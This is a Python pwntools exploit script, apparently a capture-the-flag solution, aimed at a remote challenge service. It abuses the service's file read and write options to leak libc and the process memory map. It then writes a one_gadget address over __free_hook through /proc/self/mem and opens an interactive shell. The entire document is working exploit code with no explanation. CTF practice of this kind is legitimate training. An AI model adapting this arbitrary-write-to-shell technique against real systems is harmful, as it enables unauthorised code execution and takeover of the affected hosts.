#!/usr/bin/env python2
from pwn import *


#p = process("./chall")
p =remote("challenge.pwny.racing", 40019)

delim = ">"

def read(filename, seek, size):
    p.readuntil(delim)
    p.sendline(str(1))
    p.readuntil(":")
    p.sendline(filename)
    p.readuntil(":")
    p.sendline(str(size))
    p.readuntil(":")
    p.sendline(str(seek))
    p.readuntil("data: ")
    magic = "\n\n\x1b\x5b\x31\x3b\x31\x6doptions:"
    return p.readuntil(magic)[:-len(magic)]

def write(filename, seek, size, data):
    p.readuntil(delim)
    p.sendline(str(2))
    p.readuntil(":")
    p.sendline(filename)
    p.readuntil(":")
    p.sendline(str(size))
    p.readuntil(":")
    p.sendline(str(seek))
    p.readuntil(":")
    p.sendline(str(data))
    magic = "\n\n\x1b\x5b\x31\x3b\x31\x6doptions:"
    #return p.readuntil(magic)[:-len(magic)]


with open("./libc-2.27.so", "w") as f:
    f.write(read("/lib/x86_64-linux-gnu/libc-2.27.so", 0, 2030544))

e = ELF("./libc-2.27.so")

maps = read("/proc/self/maps", 0, 10000)

print("maps")

libc_base = int((filter(lambda x: "00000000" in x and "libc" in x,maps.split("\n"))[0])[:12],16)
print maps.replace("\x00", "")
print "libc_base", hex(libc_base)

context.log_level = "DEBUG"
write("/proc/self/mem", libc_base + e.symbols["__free_hook"], 8, p64(libc_base+0x4f322))

p.interactive()
